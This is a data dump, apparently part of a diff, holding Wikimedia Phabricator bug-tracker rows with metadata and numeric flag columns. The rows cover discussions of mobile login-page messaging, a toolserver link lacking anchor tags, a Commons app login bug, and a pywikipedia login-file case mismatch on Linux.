+https://gerrit.wikimedia.org/r/104382",,,1388336160,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c2,3,False,,,17,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0
+263918,Special:UserLogin does not inform you you're already logged in on mobile,"Change 104378 had a related patch set uploaded by M4tx:
+Add ""You're already logged in"" information to Special:UserLogin
+
+https://gerrit.wikimedia.org/r/104378",,,1388335351,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c2,3,False,,,17,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,0
+263913,Special:UserLogin does not inform you you're already logged in on mobile,Screen looks great though.,,,1388299842,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c2,3,False,,,17,True,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+263907,Special:UserLogin does not inform you you're already logged in on mobile,It's not controversial it's just our standard practice to test things out in a beta mode first before pushing it to all our users.,,,1388299697,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c2,3,False,,,17,True,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+263901,Special:UserLogin does not inform you you're already logged in on mobile,Is it necessary to limit this to the beta mode? It seems like just displaying something like http://i.imgur.com/MuL7w3I.png would be uncontroversial enough...Jon?,,,1388289181,,PHID-USER-wgpse4towjiaqbzotzgo,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c2,3,False,,,17,True,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,0,0,0,1,0,0,0
+263897,Special:UserLogin does not inform you you're already logged in on mobile,Understood. Thank you!,,,1388274093,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c2,3,False,,,17,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0
+263894,Special:UserLogin does not inform you you're already logged in on mobile,Apologies for the confusion. I'm basically suggesting we try what Steven originally suggested in comment 0 but limit it to the beta mode of the site. The Echo button does inform you but that's not it's real purpose and it might not be noticeable.,,,1388263315,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c2,3,False,,,17,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,1,1,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+263892,Special:UserLogin does not inform you you're already logged in on mobile,"What I mean is that, after reading the discussion, it is unclear to me what is exactly the end result you want.
+
+For instance, the subject says ""Special:UserLogin does not inform you you're already logged in on mobile""but then you say in Comment 9 ""Btw.. it actually /does/ inform you if you are logged in - an echo icon is in the top right corner.""
+
+Surely I m reading too fast, but this is confusing to me, and it might be confusing to a new contributor landing here for the first time.",,,1388253997,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c2,3,False,,,17,True,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0
+263889,Special:UserLogin does not inform you you're already logged in on mobile,I think it's fine for it to replicate desktop as long as it is placed in the beta mode / alpha mode of the site first.,,,1388131170,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c2,3,False,,,17,True,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+263883,Special:UserLogin does not inform you you're already logged in on mobile,"As long as the task is well defined, yes, this looks like a good GCI task.",,,1387915483,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c2,3,False,,,16,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0
+263879,Special:UserLogin does not inform you you're already logged in on mobile,Andre / Quim - good task for Google Code in 2013. Should be put into the beta mode of the site first.,,,1387912853,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c2,3,False,,,16,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+263876,Special:UserLogin does not inform you you're already logged in on mobile,Btw.. it actually /does/ inform you if you are logged in - an echo icon is in the top right corner.,,,1387497900,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c2,3,False,,,16,True,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+263872,Special:UserLogin does not inform you you're already logged in on mobile,*** Bug 56023 has been marked as a duplicate of this bug. ***,,,1386626810,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c2,3,False,,,14,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+263868,Special:UserLogin does not inform you you're already logged in on mobile,"Sure but you can still only be in one account at a time. :) Maybe redirecting to a page that prompts the user saying ""You are logged in as Jon, do you want to log in as another user"" would make sense?",,,1383157807,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c2,3,False,,,9,True,0,0,0,1,0,0,1,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,1,1,0,1,0,0,1,1,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,0
+263864,Special:UserLogin does not inform you you're already logged in on mobile,"(In reply to comment #5)
+> I was just pointing out that many websites if you go to the login page whilst
+> logged in they will redirect you to a user dashboard. Since we don't have
+> this equivalent though I can understand a warning message may suffice.
+
+Unlike just about any site we allow users to register more than one account, though. And in particular we allow them to do that while being logged in. Showing the login form as well as the create account form seems like a sane thing to do (especially since it's also the only place in the UI where account creation is linked, apart from the list of all special pages).",,,1383157658,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c2,3,True,,,9,True,1,0,0,1,1,1,0,0,1,1,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,1,0,1,1,1,1,1,1,0,1,1,0,1,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,1,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,1
+263858,Special:UserLogin does not inform you you're already logged in on mobile,"I was just pointing out that many websites if you go to the login page whilst logged in they will redirect you to a user dashboard. Since we don't have this equivalent though I can understand a warning message may suffice.
+
+It doesn't seem like the end of the world to do nothing though - Tumblr seems to do that for example (www.tumblr.com/login)",,,1383150099,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c2,3,False,,,9,True,1,0,0,0,1,1,0,0,1,1,1,1,0,0,0,1,0,1,1,1,1,0,1,0,1,0,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+263854,Special:UserLogin does not inform you you're already logged in on mobile,"**swalling** wrote:
+
+(In reply to comment #2)
+> I would actually say the correct behaviour is to not show the page at all
+> maybe
+> redirecting to the main page...
+
+That's a bad idea, because it defies normal expectations. A user clicking on a link to login or typing in Special:UserLogin expects to be sent to login. Doing something else silently would seem broken. 
+
+Also, note that if you're already authenticated, you can in fact log in as a different account without logging out, so the warning message educates the user about this, rather than just acting as a roadblock.",,,1383094786,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c2,3,False,,,9,True,1,1,0,1,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,1,1,1,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,1,1,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+263850,Special:UserLogin does not inform you you're already logged in on mobile,Just a note that the rationale for the desktop design when user is logged in was discussed on bug 53306 and change I1672ee09.,,,1383094560,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c2,3,True,,,9,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0
+263845,Special:UserLogin does not inform you you're already logged in on mobile,I would actually say the correct behaviour is to not show the page at all maybe redirecting to the main page...,,,1383094002,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c2,3,False,,,9,True,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+263839,Special:UserLogin does not inform you you're already logged in on mobile,"**bingle-admin** wrote:
+
+Prioritization and scheduling of this bug is tracked on Mingle card https://wikimedia.mingle.thoughtworks.com/projects/mobile/cards/1342",,,1383093736,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c2,3,False,,,9,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+57657,Source link does not recognise https protocol,"There is URL in 'Source' column here http://toolserver.org/~erfgoed/api/api.php?action=search&format=html&srcountry=ua&srlang=uk&srid=61-212-0002&props=image|name|address|municipality|lat|lon|id|country|source|monument_article|registrant_url ,  but there is no A tags there, and I cannot go directly by link. I should copypaste it. It will be more useful if add A tags there.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Low,25.0,1381610700,1443227401.0,PHID-USER-i3udwzz23foysknxyfsb,False,PHID-USER-m7etbwqrv6cfrg5ymrwx,False,PHID-TASK-hhfarzxifkzbfplxjjgo,task_description,resolved,True,c2,3,False,False,False,6,True,0,0,0,0,1,1,1,0,0,1,1,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,0,0,1,0,0
+703222,Source link does not recognise https protocol,"It actually does not. It triggers the email to all project members even if they don't want to receive it (= are not subscribed to the task). If they want to get email notifications on all changes in given project, they can //watch// the project (apart from //being a member//).
+
+Task subscribers should be only People, not Projects.",,,1469975259,,PHID-USER-xqqqgn2dels45flxw5kb,False,,,PHID-TASK-hhfarzxifkzbfplxjjgo,task_subcomment,,True,c2,3,True,,,152,True,1,0,0,0,1,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+703209,Source link does not recognise https protocol,"@Danny_B don't subsribtion and project field act differently? I am not sure what @Ahonc needed, but from my POV l, and I am a member of wlmuammxv team too, subscribtion does make sense.",,,1469974184,,PHID-USER-sscimmfqgfuh4pe2kfyw,False,,,PHID-TASK-hhfarzxifkzbfplxjjgo,task_subcomment,,True,c2,3,False,,,152,True,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,1,1,0,0,0,0,0
+535588,Source link does not recognise https protocol,Closing this one as Resolved. T112461 is slightly different.,,,1443227401,,PHID-USER-m7etbwqrv6cfrg5ymrwx,False,,,PHID-TASK-hhfarzxifkzbfplxjjgo,task_subcomment,,True,c2,3,True,,,108,True,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0
+526242,Source link does not recognise https protocol,Should be vice versa. An older thing can't be a duplicate.,,,1442170566,,PHID-USER-sscimmfqgfuh4pe2kfyw,False,,,PHID-TASK-hhfarzxifkzbfplxjjgo,task_subcomment,,True,c2,3,False,,,106,True,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0
+416128,Source link does not recognise https protocol,Looks like the bot doesn't work with tools. [[https://gerrit.wikimedia.org/r/#/c/192258/|Gerrit patch]]. Though I'm not sure whether it's all that needs to be changed in order to have the bug fixed.,,,1424728272,,PHID-USER-sscimmfqgfuh4pe2kfyw,False,,,PHID-TASK-hhfarzxifkzbfplxjjgo,task_subcomment,,True,c2,3,False,,,77,True,1,0,0,1,1,1,0,0,1,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0,1
+415580,Source link does not recognise https protocol,Looks like the bot doen't work with tools. [[https://gerrit.wikimedia.org/r/#/c/192258/|Gerrit patch]]. Though I'm not sure whether it's all that needs to be changed in order to have the bug fixed.,,,1424657442,,PHID-USER-sscimmfqgfuh4pe2kfyw,False,,,PHID-TASK-hhfarzxifkzbfplxjjgo,task_subcomment,,True,c2,3,False,,,77,True,1,0,0,1,1,1,0,0,1,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0,1
+271683,Source link does not recognise https protocol,"Alright, setting back ""Priority"" from normal to low then, as it should reflect reality and not wishful thinking. :-/",,,1408906117,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-hhfarzxifkzbfplxjjgo,task_subcomment,,True,c2,3,True,,,51,True,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,1,1,0,0,1,0,1,0,0,0,0,1,0,0,0
+271680,Source link does not recognise https protocol,"I have no access to fix it.
+But it did not fixed during 10 month, I want to make it more quickly.",,,1408903766,,PHID-USER-i3udwzz23foysknxyfsb,False,,,PHID-TASK-hhfarzxifkzbfplxjjgo,task_subcomment,,True,c2,3,False,,,51,True,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0
+271675,Source link does not recognise https protocol,Ahonc.ua: Do you plan to work on this?,,,1408898637,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-hhfarzxifkzbfplxjjgo,task_subcomment,,True,c2,3,True,,,51,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+57575,Login screen is loaded briefly even though I'm logged in.,"From Jared
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Low,25.0,1381424640,1411417881.0,PHID-USER-qmantxp3p7omhisp3qgq,False,,False,PHID-TASK-cepna27rtqwdgr4ecugr,task_description,declined,True,c2,3,False,False,False,6,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+267031,Login screen is loaded briefly even though I'm logged in.,"As the Mobile Apps Team is focussing on the new, native Wikipedia app, the Commons app is no longer being maintained by the Wikimedia Foundation. I am WONTFIXing all open Commons app bugs to reflect that we will not be spending time fixing them.
+
+For the full story, see this thread on mobile-l: https://lists.wikimedia.org/pipermail/mobile-l/2014-September/thread.html#7974",,,1411417881,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-cepna27rtqwdgr4ecugr,task_subcomment,,True,c2,3,False,,,55,True,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,1,0,1
+57190,*-login.data can have case discrepency on Linux host,"Originally from: http://sourceforge.net/p/pywikipediabot/bugs/1475/
+Reported by: jaclayiii
+Created on: 2012-06-26 04:52:22
+Subject: *-login.data can have case discrepency on Linux host
+Original description:
+Pywikipedia \[http\] trunk/pywikipedia \(r10401, 2012/06/21, 06:18:43\)
+Python 2.7.2+ \(default, Oct  4 2011, 20:06:09\)
+\[GCC 4.6.1\]
+config-settings:
+use\_api = True
+use\_api\_login = True
+unicode test: ok
+
+Summary: the \*-login.data file maybe saved with an uppercase username but when load cookies tries to find it on a Linux host, the case of the username maybe lower. This has the unintended consequence of not allowing bots to login on private wikis that have anonymous read api rights disabled.
+
+
+If a user connects to a wiki that has LDAP or some other form of ""add-on"" authentication, the user name returned may vary in case from what is in the user-config.py file. The reason this matters is that the &lt;wikifamily&gt;-&lt;language&gt;-&lt;username&gt;-login.data file may be saved with an upper case letter in the username. Thus if the user-config.py file contained:
+
+users\[""mywiki""\]\[""en""\]=""james""
+
+but the LDAP authenticator returned back ""James"" as the username, then the \*-login.data file would be mywiki-en-James-login.data, but when \_loadcookies goes to look for such a file on line 5572: 
+
+if os.path.exists\(localPA\)
+
+localPA is /~some/path/to/mywiki-en-james-login.data
+
+Notice that the James is now lower case in the file above.
+
+As Linux is case sensitive, it cannot find the login data and thus prevents access to wikis the do not allow anonymous access to api's. A temporary work around requires setting user name to the appropriate case \(even if the username is case insensitive in the LDAP authentication scheme\), for example:
+
+users\[""mywiki""\]\[""en""\]=""James""
+
+
+keywords: SSL, Login failure, https login failure, https linux login, https pywikipedia, https pywikipedia linux
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://sourceforge.net/p/pywikipediabot/bugs/1475",Low,25.0,1380948000,1644598152.0,PHID-USER-v7vgzvvcw7v2umf737ri,False,PHID-USER-xezsyhikbr7hjrig2ofp,False,PHID-TASK-u6hauwbfub42u7jgbgkz,task_description,resolved,True,c2,3,False,False,False,5,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1,1,0,0,1,1,1,1,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,1,1,1,0,1,1,1,0,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1
+1863039,*-login.data can have case discrepency on Linux host,we no longer have such a file,,,1644598152,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-u6hauwbfub42u7jgbgkz,task_subcomment,,True,c2,3,True,,,441,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0
+468077,*-login.data can have case discrepency on Linux host,"@legoktm, @aklapper imported spam ^",,,1433302446,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-u6hauwbfub42u7jgbgkz,task_subcomment,,True,c2,3,True,,,92,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0
+468082,*-login.data can have case discrepency on Linux host,,,,1433302490,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-u6hauwbfub42u7jgbgkz,task_subcomment,,True,c2,3,False,,,92,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+267944,*-login.data can have case discrepency on Linux host,,,,1380948039,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-u6hauwbfub42u7jgbgkz,task_subcomment,,True,c2,3,False,,,5,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+468081,*-login.data can have case discrepency on Linux host,,,,1433302483,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-u6hauwbfub42u7jgbgkz,task_subcomment,,True,c2,3,False,,,92,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+267940,*-login.data can have case discrepency on Linux host,,,,1380948037,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-u6hauwbfub42u7jgbgkz,task_subcomment,,True,c2,3,False,,,5,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
